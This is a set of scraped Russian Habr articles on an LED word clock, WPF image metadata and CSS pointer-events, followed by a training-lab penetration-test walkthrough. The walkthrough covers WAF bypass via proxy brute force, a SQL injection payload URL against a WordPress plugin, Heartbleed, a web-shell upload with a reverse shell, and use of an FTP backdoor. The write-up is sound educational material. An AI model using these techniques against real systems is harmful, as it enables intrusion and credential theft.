[Репозитарий с примерами из статьи](https://github.com/igor-semenov/code_samples/tree/master/destructive_exceptions) | https://habr.com/ru/post/433944/ | null | ru | null |
# Электронные часы в духе Qlocktwo
Привет от команды [uMove](https://geektimes.ru/post/262500/)! Как-то раз увидели в интернете такое изображение часов. Текущее время на них задается словами: пять минут третьего, без четверти час, половина пятого и тому подобное с шагом в 5 минут.
Недавно мы сделали такие!
#### Как всё происходило
Первым делом мы сделали 3D модель. В качестве несущей основы выбрали доступную в избытке фанеру толщиной 4 мм, на ней разместили трехцветную диодную ленту, причем каждый диод управляется отдельно по SPI. Например, цвет 10-го диода задается примерно так: «Привет первый, скажи десятому, чтобы он загорелся сейчас таким-то цветом». Первый передает второму, второй третьему и так далее.
Выбор форм-фактора всего устройства был выбран исходя из существующего шага диодов. В данном случае лента имеет 60 чипов в метре длины. Конечный габаритный размер стороны квадратного девайса получился 264,4 мм.
Вторым слоем мы организовали разделители между буквами. Это требовалось для предотвращения засветки неактивных букв активными. Во втором слое расположили отверстие для вывода шнура питания.
Вся матрица диодов — одномерный массив, расположенный змейкой на подложке.
Функция пересчета из декартовой системы координат в «змейку»:
```
int getStripPosition(int row, int col)
{
if(col % 2 == 1)
{
return col * ROWS + row;
}else{
return (1 + col) * ROWS - (1 + row);
}
}
```
Кусочки ленты соединены 3 проводами последовательно: Питание, Земля и Сигнал. Началась рутинная пайка. Вот что получилось:
Проверка паяных соединений не заставила разочароваться, все заработало с первого раза, даже непривычно как-то.
#### Внешний вид
Набросав таблицу с буквами, мы поигрались с размером и типом шрифта, оформили чертеж для лазерного станка и принялись изучать материал и цвет. Выбор пал на черный глянцевый пластик. Получился очень стильный корпус. Язык выбрали немецкий… не знаем почему.
**Минутка немецкого:**
#### Электроника
Основа часов — наш любимый [Spark](http://particle.io). Это привычный STM32 микроконтроллер с доступом в интернет через Wi-Fi. Эта штука сама узнает текущее время, в часах нет ни единой кнопки! Новый логин и пароль сети можно задать с телефона.
Все детали мы изготовили и собрали в ЦМИТ Академии.
#### Но это еще не всё
Посмотрим, что получилось:
1. у нас есть матрица 10х11 пикселей
2. у нас есть выход в интернет
3. у нас есть облако с настроенным API
Помните [Brick Game](https://www.google.ru/search?q=Brick+Game)?
#### Арканоид
Наверное, самая простая игра, которую можно написать.
Доступ к часам очень простой. В прошивке чипа лежит функция, к которой можно обратиться через облако. Пример с сайта:
```
int brewCoffee(String command);
void setup()
{
Particle.function("brew", brewCoffee);
}
void loop()
{
// this loops forever
}
// this function automagically gets called upon a matching POST request
int brewCoffee(String command)
{
if(command == "coffee")
{
// some example functions you might have
return 1;
}
else return -1;
}
```
Чтобы к ней обратиться, необходимо выполнить POST-запрос в облако, например, из командной строки:
```
curl https://api.particle.io/v1/devices/{DEVICE_ID}/{FUNCTION_NAME} -d access_token={TOKEN} -d "args={ARGUMENTS}"
```
Управлять ползунком можно через приложение. Мы его написали на HTML+JS с использованием [Apache Cordova](https://cordova.apache.org/)
```
function go(action) {
var xhr = new XMLHttpRequest();
var body = 'access\_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxx&args='+action;
xhr.open("POST", 'https://api.particle.io/v1/devices/53ff6e12345678900987654321/shift', true)
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded')
xhr.send(body);
};
<
!
>
```
Приложение на телефоне выглядит потрясающе:
#### Демонстрация
#### Надеемся, мы вдохновили вас новыми идеями крутых проектов! | https://habr.com/ru/post/384493/ | null | ru | null |
# Работа с метаданными изображений в WPF
Недавно решил ознакомиться с платформой .NET, языком C# и Windows Presentation Foundation.
В процессе изучения (а изучаю языки и технологии я всегда в процессе разработки пробного проекта) мне встретилось довольно много подводных камней и тонких моментов. Поделиться с хабрасообществом (я полагаю, что многим начинающим разработчикам WPF это было бы интересно) хочется всем и сразу, но объем получившегося хабратопика был бы слишком большим, поэтому я решил начать с метаданных изображений, т.к. на эту тему информации даже в англоязычном интернете маловато.
Вообще метаданные могут иметься у изображений различных форматов, однако я буду рассказывать на примере JPEG-а, т.к. работал именно с ним. Я думаю, для других форматов разница будет невелика.
#### Типы метаданных
Для начала разберемся, какие вообще типы метаданных могут быть в изображении. Все скорее всего это итак знают, но на всякий случай расскажу:
* EXIF (Exchangeable Image File Format) — стандарт хранения метаданных в изображении, который используется цифровыми камерами для сохранения информации о выдержке, диафрагме и других параметрах съемки. Метаданные в формате EXIF могут храниться в файлах форматов JPEG, TIFF и RIFF WAV. По стандарту из пользовательских описательных метаданных в EXIF может храниться только описание (тег Description) и комментарий (тег «User Comment»), но Windows Explorer использует также несколько дополнительных тегов (XPTitle, XPSubject, XPAuthor, XPComment, XPKeywords). Windows Explorer игнорирует тег XPTitle при наличии стандартного тега Description.
* IPTC (International Press Telecommunications Council) — название скорее организации, разработавшей стандарт. Сам стандарт метаданных называется IIM (Information Interchange Model). Самый старый из описываемых стандартов. В изначальной версии стандарта метаданные хранились так, что ПО, не знающее о существовании IPTC, не могло работать с файлами изображений, в которых были такие метаданные. Однако позже Adobe расширила стандарт, перенеся метаданные в блок APP13 JPEG-файла, что позволило ПО, не знающему о стандарте, успешно читать JPEG-файл, игнорируя неизвестные метаданные. В метаданных IPTC могут храниться такие описательные поля, как ObjectName (заголовок), Keywords (ключевые слова), Caption (описание, есть несколько вариаций тега).
* XMP (eXtensible Metadata Platform) — стандарт, разработанный Adobe. Метаданные хранятся в модели RDF, представленной в формате XML, позволяя включать любую необходимую информацию в файл изображения. Именно этот формат предпочитает использовать WIC (Windows Imaging Component) в Windows Vista/7.
#### Принципы работы с метаданными в WPF
Для работы с метаданными в WPF используются классы BitmapEncoder, BitmapDecoder, BitmapSource, BitmapFrame, BitmapMetadata, InPlaceMetadataWriter.
У классов BitmapEncoder и BitmapDecoder есть наследники, позволяющие работать с конкретными форматами изображений. В моем случае — JpegBitmapEncoder и JpegBitmapDecoder.
Класс InPlaceMetadataWriter используется для изменения метаданных прямо на месте, без перекодирования файла.
Данные читать и записывать можно двумя методами — либо с помощью функций GetQuery/SetQuery, оперирующих с иерархическими именами тегов метаданных, либо с помощью полей класса BitmapMetadata, позволяющих легко обращаться к метаданным.
При обращении к метаданным через поля класса BitmapMetadata, WIC пытается найти соответствующие поля в метаданных разных стандартов в следующем порядке: сначала XMP, затем IPTC и EXIF. При записи тегов через поля класса BitmapMetadata, WIC записывает их в формате XMP.
#### Чтение метаданных
Вот готовый пример функции, с помощью которой можно читать метаданные из файла:
> `1. FileStream f = File.Open("test.jpg", FileMode.Open);
> 2. BitmapDecoder decoder = JpegBitmapDecoder.Create(f, BitmapCreateOptions.IgnoreColorProfile, BitmapCacheOption.Default);
> 3. BitmapMetadata metadata = (BitmapMetadata)decoder.Frames[ 0].Metadata;
> 4. // Получаем заголовок через поле класса
> 5. string title = metadata.Title;
> 6. // Получаем заголовок из XMP
> 7. string xmptitle = (string)metadata.GetQuery(@"/xmp/dc:title");
> 8. // Получаем заголовок из EXIF
> 9. string exiftitle = (string)metadata.GetQuery(@"/app1/ifd/{ushort=40091}");
> 10. // Получаем заголовок из IPTC
> 11. string iptctitle = (string)metadata.GetQuery(@"/app13/irb/8bimiptc/iptc/object name");`
Тут все достаточно просто и прозрачно, поэтому сразу перейдем к записи.
#### Запись метаданных
> `1. BitmapMetadata md = new BitmapMetadata("jpg");
> 2. md.SetQuery(@"/xmp/dc:title", xmptitle);
> 3. md.SetQuery(@"/app1/ifd/{ushort=40091}", exiftitle);
> 4. md.SetQuery(@"/app13/irb/8bimiptc/iptc/object name", iptctitle);
> 5. BitmapFrame frame = BitmapFrame.Create(decoder.Frames[ 0], decoder.Frames[ 0].Thumbnail, md, decoder.Frames[ 0].ColorContexts);
> 6. BitmapEncoder encoder = new JpegBitmapEncoder();
> 7. encoder.Frames.Add(frame);
> 8. FileStream of = File.Open("test2.jpg", FileMode.Create, FileAccess.Write);
> 9. encoder.Save(of);
> 10. of.Close();`
Код идет, как продолжение фрагмента, читающего метаданные. Мы создаем копию оригинального файла, записав в его метаданные тайтл во всех трех форматах метаданных.
#### Редактирование метаданных «на месте»
До сих пор я рассказывал вобщем-то достаточно хорошо документированные и простые вещи, однако здесь все уже сложнее. Пример в официальной документации (MSDN) неверен и вообще противоположен по смыслу реальному положению вещей.
Для редактирования метаданных «на месте» необходимо создать объект класса InPlaceBitmapMetadataWriter:
> `1. InPlaceBitmapMetadataWriter writer;
> 2. writer = decoder.Frames[ 0].CreateInPlaceBitmapMetadataWriter();`
После этого с ним можно работать, как с обычным BitmapMetadata, вызывая SetQuery для задания нужных метаданных.
Чтобы сохранить изменения, нужно вызвать метод TrySave(), пытающийся сохранить изменения в оригинальный поток. Попытка записи может быть успешной, а может и нет. При успешной попытке метод возвращает true, при ошибке — false.
Самая частая ошибка, которая может помешать записать изменения — в метаданных недостаточно свободного места. Как правило, все свежеснятые фотографии не содержат в метаданных достаточного места, поэтому для того, чтобы начать пользоваться редактированием метаданных на месте, следует один раз сделать копию файла, дополнив метаданные в нем специальными полями padding, оставляющими свободное место для последующих изменений. Для этого файл открывается, нужный кадр и его метаданные клонируются, и выполняется несколько запросов:
> `1. BitmapFrame frame = (BitmapFrame)decoder.Frames[ 0].Clone();
> 2. BitmapMetadata metadata = (BitmapMetadata)decoder.Frames[ 0].Metadata.Clone();
> 3. metadata.SetQuery("/app1/ifd/PaddingSchema:Padding", 2048);
> 4. metadata.SetQuery("/app1/ifd/exif/PaddingSchema:Padding", 2048);
> 5. metadata.SetQuery("/xmp/PaddingSchema:Padding", 2048);
> 6. BitmapFrame newframe = BitmapFrame.Create(frame, frame.Thumbnail, metadata, original.Frames[ 0].ColorContexts);`
После этого кадр достаточно закодировать энкодером и записать в нужный поток, в результате чего в изображении появится свободное место для редактирования метаданных на месте впоследствии.
Значение паддинга в 2048 байт как правило достаточно. Если вам необходимо больше — можно указать большее значение.
#### Строки запросов
Я думаю у всех при изучении методов SetQuery/GetQuery возникает резонный вопрос — откуда брать все эти строки запросов, которые простыми и интуитивно понятными не назовешь?
После продолжительных поисков в MSDN нашелся соответствующий [список](http://msdn.microsoft.com/en-us/library/bb643802.aspx). Здесь есть пожалуй все необходимые запросы. Отсутствующие можно в принципе составить по аналогии, примеров — предостаточно :)
#### Тонкости и подводные камни
* Версии WIC в Windows XP и Windows Vista могут глючить, если у вызывающего функцию JpegBitmapEncoder.Save() потока не указан атрибут STAThread (по умолчанию, все создаваемые в приложении потоки получают атрибут MTAThread, если не указано обратное).
* Версия WIC в Windows 7 сохраняет значения тега EXIF UserComment по умолчанию в Unicode, тогда как в Windows XP и Windows Vista — в кодировке текущего языка системы (CP1251 для русского). Формат записи UTF-8 параметров такой: само значение тега сохраняется не как строка, а как массив байт. Первые 7 байт — ASCII строка «UNICODE», после чего начинается Unicode-закодированная последовательность символов тега.
* К параметру BitmapCacheOptions следует относиться внимательно. Значение OnLoad кэширует все данные изображений в несжатом виде в RAM, поэтому если вы откроете штук 20 крупноформатных JPEG-ов с этой опцией — свободная память будет съедена очень быстро. Эта память **не освобождается** при удалении самих классов изображений (BitmapFrame, BitmapDecoder и пр.) и обработке их сборщиком мусора. Кроме того, для использования InPlaceBitmapMetadataWriter следует открывать изображение с BitmapCacheOptions = OnDemand или Default.
* В примере я открываю изображение с флагом IgnoreColorProfile, т.к. без него на некоторых изображениях BitmapDecoder выбрасывает исключение.
#### Заключение
В целом работа с метаданными с помощью WPF мне показалась достаточно сложной и запутанной. Практически все из описанных подводных камней стоили мне нескольких часов отладки и гугления, информации об этом нигде нет, а симптомы иногда очень странные. Официальная документация (MSDN) освещает этот вопрос плохо, а местами и вовсе неверна.
Надеюсь, что эта собранная информация поможет тем, кому понадобится работать с метаданными через WPF, и сэкономит им несколько часов времени :)
P.S. Буду рад увидеть в комментариях замечания (если я где-то ошибся) и описания подводных камней, с которыми я не встречался или забыл упомянуть.
P.P.S. Стоит ли продолжать писать о WPF, или я пишу давно известные вещи? | https://habr.com/ru/post/93119/ | null | ru | null |
# 60 FPS? Легко! pointer-events:none!
Вы, наверное, уже читали [интересную статью](http://www.html5rocks.com/en/tutorials/speed/unnecessary-paints/) о том, как можно отключать эффекты `:hover` при скроле – это позволяет здорово сохранить отзывчивость сайта, но имеет один недостаток – вам приходится опираться на один общий класс, и это плохо.
```
.hover .element:hover {
box-shadow: 1px 1px 1px #000;
}
```
Плохо, потому что данный подход ограничивает вашу расширяемость, и вносит лишнюю спецификацию в, и без того нелегкие, селекторы CSS.
Фишка тут в том, что при скроле вы просто удаляете класс `.hover` с тега `body`, тем самым отключая все ваши селекторы с `:hover`-ом. После окончания события, класс возвращается, и эффекты `:hover` опять в деле.
Круто. Но не очень – привычное переключение глобального класса запускает немалый пересчет стилей, и это не есть гуд. Гениальное решение предложил Christian Schaefer:
#### О да, pointer-events – наше все!
Свойство [pointer-events](https://developer.mozilla.org/en-US/docs/Web/CSS/pointer-events) позволяет управлять условиями, при которых элементы вашей страницы будут реагировать на события мыши. Смотрите сами:
Ошеломительная разница, не так ли? И все это без лишней сложности селекторов:
```
.disable-hover {
pointer-events: none;
}
```
Просто добавляем этот класс к нашему `body` по началу скрола, и все – мышь «пролетает»!
```
var body = document.body,
timer;
window.addEventListener('scroll', function() {
clearTimeout(timer);
if(!body.classList.contains('disable-hover')) {
body.classList.add('disable-hover')
}
timer = setTimeout(function(){
body.classList.remove('disable-hover')
},500);
}, false);
```
Код, как видите, довольно простой. Вешаем обработчик на событие скрола, в котором сперва сбрасываем предыдущий таймер, проверяем наличие класса на нашем `body`, и, если его нет – добавляем. Затем просто добавляем новый таймер, который, через пол секунды после окончания скрола, сбросит наш класс. Все!
#### Почти
Если где-то в странице будут элементы со стилем `pointer-events: auto`, они перетрут глобальный класс, и будут все еще тормозить. Мы же не хотим этого, верно?
```
.disable-hover,
.disable-hover * {
pointer-events: none !important;
}
```
Как вы догадались, решение, так же, простое. Супер-селектором `*` с флагом `!important` мы научим наши элементы вести себя хорошо.
Можете [убедиться](http://jsbin.com/oNiVUYe/5/quiet) в работе данного подхода. Попробуйте замерить производительность с `hover`-ом, и без. Результат впечатляет! | https://habr.com/ru/post/204238/ | null | ru | null |
# Пентест-лаборатория Pentestit — полное прохождение
Компания Pentestit 20-го мая запустила новую, уже [девятую лабораторию](https://habrahabr.ru/company/pentestit/blog/301046/) для проверки навыков практического тестирования на проникновение.
Лаборатория представляет собой корпоративную сеть, очень похожую на сеть настоящей организации. Благодаря лабораториям Pentestit можно всегда быть в курсе последних уязвимостей и попробовать себя в качестве настоящего пентестера, параллельно обучаясь у профессионалов — тех, кто каждый день занимается тестированием на проникновение в реальных сетях.
К 1-му июня лаборатория была пройдена — все 13 машин и 14 токенов были взяты. Теперь подошло время описать процесс прохождения лаборатории в полном объеме для всех, кто еще не успел пройти лабораторию, кто хотел бы узнать больше об актуальных уязвимостях, или глубже окунуться в мир тестирования на проникновение.
Сразу хочу отметить, что процесс прохождения лаборатории получился довольно трудоемким, а его описание — длинным, но, надеюсь, интересным. Начнем!
**Disclaimer**Я не являюсь сотрудником или аффилированным лицом компании Pentestit. Этот документ описывает шаги, которые я предпринял, чтобы решить задания в лаборатории. Мои личные рекомендации и предпочтения никаким образом не относятся к официальному мнению компании Pentestit.
Вся информация в этом документе предоставлена исключительно в образовательных целях. Продолжая читать этот документ, вы соглашаетесь не использовать эту информацию в незаконных целях, и подтверждаете, что вы и только вы несете полную ответственность за свои действия или знания, полученные благодаря информации из этого документа. Автор этого документа и компания Pentestit не несут никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате прочтения данного документа.
Подключение к лаборатории
-------------------------
Прежде чем начать, нужно зарегистрироваться в лаборатории, настроить VPN-соединение и подключиться к сети виртуальной компании CyBear32C.
Зарегистрируйтесь [здесь](https://lab.pentestit.ru/pentestlabs/5), и затем следуйте [этим инструкциям](https://lab.pentestit.ru/how-to-connect) для того, чтобы подключиться.
Для проведения тестирования можно установить в виртуальной машине [Kali Linux](https://www.kali.org/) — специальный дистрибутив Линукса для пентестеров, в котором есть все необходимое для работы. Если вы этого еще не сделали, теперь — самое время.
Начинаем тестирование
=====================
После регистрации и подключения мы видим следующую схему сети:
VPN-подключение остается за кадром, и после него мы получаем доступ к единственному внешнему IP компании CyBear32C — 192.168.101.8, который в реальной жизни был бы шлюзом в интернет. Начнем, как обычно, с enumeration и, в частности, со сканирования портов, чтобы определить какие сервисы из внутренних подсетей доступны снаружи.
Начнем с быстрого сканирования портов.
Как видим, нам доступен целый набор сервисов с разных внутренних машин (см. схему сети), включая, вероятнее всего, сервер mainsite (порт 80), сервер mail (25, 8100), ssh (порт 22) и другие. Кроме того, есть еще https ресурс и прокси сервер.
Изучаем MAINSITE
================
Начнем с того, чтобы зайти по адресу [192.168.101.8](http://192.168.101.8/):
Нас автоматически редиректит на [www.cybear32c.lab](http://www.cybear32c.lab), посмотрим на это внимательнее:
Нам приходит заголовок `Location: http://cybear32c.lab` — виртуальный хост, по которому собственно и будет доступен сайт компании.
Добавляем нужный домен в `/etc/hosts` и пробуем еще раз:
Отлично, сайт поднялся, и можно его начать изучать. Попробуем понять, что это такое. Перед тем, как начать изучать сайт вручную, можно запустить утилиту whatweb, а затем dirb, которая поможет определить, какие есть поддиректории (можно воспользоваться и другими сканерами, например nikto):
Видим, что коды ответов на все запросы равны 403 — наверняка сайт защищен WAF-ом. Так как в браузере все работает, пробуем подставить User Agent и находим несколько интересных страниц:
Параллельно смотрим на сайт, видим, что это — Wordpress, защищенный WAF-ом. Заход на страницу /admin переводит нас на закрытый wp-login.php.
Для Wordpress сайтов есть великолепная утилита wpscan, которая позволяет проверить их на наличие плагинов с уязвимостями. Пробуем для начала посмотреть общую информацию по сайту, подставив нужный user agent. Он тут же находит несколько проблем, в том числе и уязвимый к SQL injection плагин wp-symposium v15.1.
Теперь пробуем проэксплуатировать каждую из приведенных уязвимостей с помощью эксплоитов по ссылкам. К сожалению, срабатывает WAF, и запросы с пэйлоадами на SQL не проходят. Попробуем его обойти…
Обход WAF
---------
Часто многие Web Application Firewalls используют сигнатуры атак, которые можно обойти, немного изменив синтаксис: добавив конкатенацию или изменив регистр в запросе: vErSiOn вместо version, например. Обход WAF — отдельная серьезная тема, которой можно посвятить множество книг и статей.
К сожалению, эти варианты не сработали. Вспомним о прокси на порту 3128 и попробуем настроить браузер на работу через него.
Прокси запрашивает авторизацию:
Здесь нам пригодятся данные из графы Contact Us, которые мы видим на этом же сайте.
Создаем текстовый файл со словариком и двумя учетными записями: b.muncy и r.diaz и пробуем подобрать пароль:
Удачно! Теперь попробуем еще раз зайти на сайт через прокси и авторизоваться в нем. Результат в данном случае уже выглядит по-другому (сайт также доступен по внутреннему IP: 172.16.0.5, но другие внутренние сервисы все еще недоступны):
Сайт больше не говорит о неправомерных действиях — мы успешно обошли WAF.
Эксплуатация уязвимостей в Wordpress плагине
--------------------------------------------
Теперь можно изучить сайт и потенциальные уязвимости внимательнее. Можно это делать и напрямую, но мне удобнее для этого использовать Burp Repeater. Для начала нужно настроить подключение через upstream proxy:
На вкладке User options добавляем Upstream Proxy Server, вводим полученные данные для нашего хоста, настраиваем браузер на Burp proxy и пробуем различные эксплоиты, найденные wpscan-ом.
Эта же возможность позволит использовать утилиты, которые не поддерживают авторизацию в прокси напрямую. Если такие понадобятся, достаточно будет указать в виде proxy 127.0.0.1:8080.
Попробовав несколько вариантов, видим, что срабатывает одна из SQL инъекций:
`GET http://cybear32c.lab/wp-content/plugins/wp-symposium/get_album_item.php?size=version(); -- HTTP/1.1`
Получаем номер версии MySQL:
Результат: 5.5.49-0+deb8u1.
Дело за малым — осталось эксплуатировать эту уязвимость с помощью sqlmap:
Так как в данном случае инъекция происходит в имя колонки (а не в значение, как обычно), важно указать суффикс после payload (`' -- '`) для того, чтобы sqlmap сконцентрировался именно на этом типе инъекции. Если этого не сделать, sqlmap может ошибочно определить тип инъекции как blind, и в таком случае вытягивать данные будет очень затруднительно и долго.
Получаем доступные базы с использованием опции --dbs:
Затем таблицы (`-D tl9_mainsite --tables`):
И осталось только получить данные из таблицы wp\_token с помощью команды:
Токен BYPASS
============
Во время сканирования портов обнаружился, в том числе, и https ресурс на порту 443. Беглый анализ и утилита dirb ничего интересного не дали:
Ресурс доступен по https, при этом, видимо, в разработке и давно не обновлялся. Проверим нашумевшую в 2014-м уязвимость heartbleed:
Сервис уязвим! Для эксплуатации воспользуемся скриптом [отсюда](https://gist.github.com/eelsivart/10174134). После прочтения множества ~~интересной~~ информации и сотни попыток (главное не сдаваться раньше времени), находим кое-что интересное:
Кто-то зашел туда и скачал старый бэкап. Давайте и мы это сделаем:
Вот и токен, а вместе с ним несколько новых аккаунтов и хеши их паролей. Пробуем восстановить пароли из хешей (Apache apr1 хеш в hashcat идет под номером 1600):
Получаем уже известный из mainsite пароль b.muncy, а также остальные пароли других аккаунтов.
Очень полезно записывать все найденные учетные данные и пароли для того, чтобы в будущем иметь возможность проверять их, быстро изучая новую цель, т.к. пароли пользователей в корпоративной сети с высокой вероятностью будут повторяться от одного сервиса к другому.
Атакуем SSH
===========
Несмотря на предыдущее замечание, к сожалению, ни один из найденных паролей пока что не подошел к почте (которая обычно дает очень неплохие результаты в продвижении вглубь корпоративной сети). Не беда, попробуем подключиться к SSH на порту 22 и попробовать там. Пробуем и видим следующую картину:
Довольно необычная ситуация для подключения по SSH: видимо, используется собственный модуль для аутентификации. Кроме того, обращаем внимание на то, что система запрашивает сначала “The password”, а потом еще и “Password”.
Пробуем все найденные учетные данные в разных комбинациях — безрезультатно.
Так как ни почта, ни SSH не принесли желаемых результатов, а других доступных сервисов больше не остается, видимо, мы что-то упустили. SSH важен еще и тем, что мы получим доступ внутрь корпоративной сети и сможем продвинуться дальше, поэтому нам интересно сконцентрироваться на нем.
Пробуем еще раз и видим автора скрипта: Pam © krakenwaffe — не похоже на что-то стандартное.
Ищем это в Google и вскоре находим аккаунт разработчика krakenwaffe на Github, который к тому же работает в компании cybear32c — интересно!
Изучив contributions некого Девида, видим единственный файл: mypam.c, расположенный здесь: [github.com/krakenwaffe/eyelog/blob/master/mypam.c](https://github.com/krakenwaffe/eyelog/blob/master/mypam.c). После беглого анализа кода становится понятно, что это именно тот модуль, в котором мы пытаемся авторизоваться, и который запрашивает у нас “The password”.
Под рутом зайти не получится, смотрим, что дальше… Внимание привлекает следующий участок:
Видим, что введенный пароль проходит сравнение с `daypass<день><час>`. Пробуем подставить текущее значение, а именно “daypass80” на момент написания этой части документа:
Все равно не срабатывает. Тогда вспоминаем, как зовут нашего разработчика, который поделился с нами паролем через Github — David Nash. Пробуем зайти под d.nash:
Получилось! Мы зашли на SSH сервер. Посмотрим, что есть вокруг:
Помимо токена в папке .ssh также находим и приватный ключ для подключения к другим серверам (к каким — можно узнать, поработав с файлом known\_hosts) — наверняка пригодится в дальнейшем!
Теперь мы получаем плацдарм для следующих атак, и перед нами открывается вся корпоративная сеть компании CyBear32C.
Следующие шаги
==============
После взятия SSH можно выходить на все остальные компьютеры в сети. С какого начать? В первую очередь стоит просканировать все три подсети с помощью nmap, любезно предоставленного нам прямо на сервере SSH, и изучить доступные сервисы.
На данном этапе практически все внутренние ресурсы, за исключением Windows-машин и сервера dev, будут доступны для атаки — можно пробрасывать порты и пробовать.
Проброс портов
--------------
Для обеспечения удобного доступа к внутренней сети через вновь появившееся SSH подключение есть целое множество способов.
В первую очередь рекомендую изучить статью [«Pivoting или проброс портов»](https://habrahabr.ru/post/302168/).
Кроме того полезно знать интересную возможность стандартного SSH клиента: проброс портов без перезапуска сессии и добавления параметров в командную строку.
Для этого достаточно нажать комбинацию клавиш Shift+~+C и перейти в командный режим работы:
После ввода нужной команды, мы получим доступ к 80-му порту сервера 192.168.0.6 (photo) через порт 8086 на 127.0.0.1:
Photo-hosting и загрузка файлов
===============================
Сервер фото встречает нас формой для загрузки файлов и ничего больше, наверняка в ней и есть уязвимость.
С точки зрения разработчика сделать upload файлов безопасным очень сложно — векторов атаки на него может быть очень много: это или неработающая валидация по расширению файла, его MIME-типу, или уязвимость в библиотеке, которая обрабатывает файл, или race condition, или любая из множества других проблем.
Для начала посмотрим, на чем написан сайт:
И заодно запустим dirb, чтобы посмотреть какие скрытые директории есть на веб-сервере.
Директория upload доступна прямо на сервере, попробуем загрузить безобидную картинку и убедимся, что файлы сохраняются именно в эту папку:
Так и есть, google.png доступен. Обращаем внимание, что сайт показывает размеры картинки, видимо есть какой-то анализ. Пробуем загрузить PHP файл:
Изменить MIME-тип и расширение не помогает:
Интересно, это дает нам сразу две подсказки: во-первых, файл, возможно, сначала загружается, а затем удаляется, и его можно успеть дернуть, и, во-вторых, мы еще раз убеждаемся, что проверка на то, что это картинка присутствует (видимо, с помощью `getimagesize()`, которую можно обмануть, добавив, например, GIF заголовок). Пробуем еще раз с таким файлом file.jpg:
Файл загрузился успешно и даже доступен:
Но, к сожалению, не выполняется. Пробуем загрузить этот файл с разными расширениями, раз php не срабатывает: .htaccess, .php5, .phtml и .pht — последний вариант работает! Он тоже выполняется:
Теперь нужно получить шелл. Для этого слушаем с помощью nc на сервере SSH, и обращаемся к файлу:
И удачно получаем коннект:
Прямо в папке upload можно найти токен в скрытой поддиректории:
Кстати, ради интереса можно изучить и исходники:
Видим, что файл сначала сохраняется в папку, а затем только проверяется, то есть кроме эксплуатированной нами уязвимости есть еще и race condition.
Кроме токена и этого кода на сервере ничего интересного не обнаруживаем и продолжаем дальше!
Изучаем FTP
===========
Просканировав с помощью nmap сервер 172.16.0.4, находим открытый 21-й порт (ftp) и 22-й порт (ssh). Естественно, вход с нашим ssh ключиком не срабатывает, поэтому сконцентрируемся на самом FTP.
ProFTPD 1.3.5 имеет известную уязвимость, связанную с копированием файлов без аутентификации, которую можно проэксплуатировать через веб-сервер — копируем в /var/www, например, /etc/passwd, и мы уже немного ближе к цели.
Проблема в том, что веб сервер на этой машине не запущен… Попробуем подключиться к ftp серверу:
Анонимный вход доступен, и в папке dist находим исходники сервера. Интересно, наверняка их выложили не просто так, попробуем их поизучать. Скачиваем и распаковываем архив proftpd-dfsg-1.3.5.tar.bz2 с помощью ftp-клиента (команды lcd и get) и пробуем поискать изменения в коде. Начнем с поиска подстроки CYBEAR, и тут же находим файл src/help.c:
Похожий backdoor был встроен в версию 1.3.3с во время [атаки на ProFTPD](https://www.aldeid.com/wiki/Exploits/proftpd-1.3.3c-backdoor).
Попробуем воспользоваться предоставленным бекдором!
Ну и в папке /home находим целый набор интересных файлов:
Кроме токена в папке “old” мы находим:
* новую учетную запись m.barry,
* тестовый скрипт в папке m.barry/upload/test\_scripts,
* конфигурационный файл роутера cisco c паролями,
* файл trouble.cap с паролем m.barry и указанием на то, что сервер dev скачивает все питоновские скрипты из папки test\_scripts c FTP и, возможно, запускает их.
К сожалению, просто так подложить файл в test\_scripts нельзя — недостаточно прав, поэтому придется продвигаться дальше и искать другой способ атаки на dev сервер.
Cамый быстрый токен — CISCO
===========================
Попробуем воспользоваться найденной информацией и начнем с cisco — пароль у нас уже есть. Вспоминаем IP по схеме сети и пробуем зайти:
Сразу же получаем токен! Теперь попробуем сбрутить хеш для enable 3:
Находим пароль, пробуем его и получаем привилегированный режим:
Все готово. Конфигурационный файл роутера разрешает делать мониторинг трафика:
С помощью этих команд можно поизучать трафик, идущий через эту подсеть (а именно — portal).
Как оказалось, есть возможности пройти лабораторию разными способами, и лично мне мониторинг трафика не понадобился. Поэтому я предлагаю оставить эту часть на самостоятельную проработку и продвинуться дальше.
NAS и незащищенные бэкапы
=========================
Продолжая изучать разные подсети, натыкаемся на сервер NAS:
Открытый порт 3260 намекает на возможность подключения к iscsi. Если вы следили за новостями в области ИБ, то наверняка слышали о взломе итальянской компании Hacking Team, которая в данном случае стала прообразом CyBear32c. В сети можно найти writeup о том, как происходила атака, из которого можно почерпнуть много интересного.
Начнем с проброса порта на локальную машину:
Устанавливаем iscsiadm и пробуем подключиться:
Пробуем подключиться, не получается.
Включаем debug mode и видим, что iscsiadm пытается подключиться к 192.168.0.3, которого в данном случае нет в нашей подсети.
Попробуем альтернативный вариант проброса портов и воспользуемся [sshuttle](http://sshuttle.readthedocs.io/en/stable/installation.html). Так мы получим доступ к серверам по их настоящим IP адресам без необходимости пробрасывать каждый порт по отдельности. Подключаемся:
Удалось подключиться! Теперь изучим содержимое появившегося диска:
Теперь нужно подключить и этот vmdk:
Он начинается на диске по смещению 63 \* 512 байт, а именно 32,256:
После этого Kali автоматически определяет присутствующий диск и предлагает посмотреть содержимое:
Есть! В поисках интересного находим пользователя token\_nas\_token, но в файловой системе напрямую ничего нет. Копируем базы реестра из WINDOWS\system32\config к себе и пробуем посмотреть сохраненные хеши паролей:
Чтобы долго не перебирать хеши локально, воспользуемся сервисом [rainbowtables.it64.com](http://rainbowtables.it64.com/). Можно сделать это и у себя, но с помощью сервиса будет быстрее.
Вносим существующие LM-хеши (первый хеш из дампа в каждой строке) и смотрим на результат. LM-хеширование приводит пароли к верхнему регистру, поэтому после получения результата нам нужно будет восстановить правильный регистр с помощью NTLM-хеша.
Все хеши и соответствующие им пароли найдены в базе. Сохраним их (в верхнем регистре) в отдельный файлик и воспользуемся john-ом c опцией -rules=NT, чтобы найти правильные пароли:
И получаем пароли c помощью опции -show:
Пароль от token\_nas\_token содержит токен к заданию! И мы получили новые учетные данные для d.rector. Продолжим!
Terminal2
=========
Как уже обсуждалось выше, пароли, найденные в одном месте, могут подойти в другом. В данном случае, просканировав порты сервера terminal2, мы видим открытый RDP:
Попробуем подключиться, используя учетные данные d.rector из NAS:
Токен находится прямо на рабочем столе!
DEV и MITM
==========
С получением доступа в локальную подсеть 192.168.3/24 у нас открываются новые возможности для атаки. Вспомним схему сети и заодно файл trouble.cap, найденный на FTP сервере:
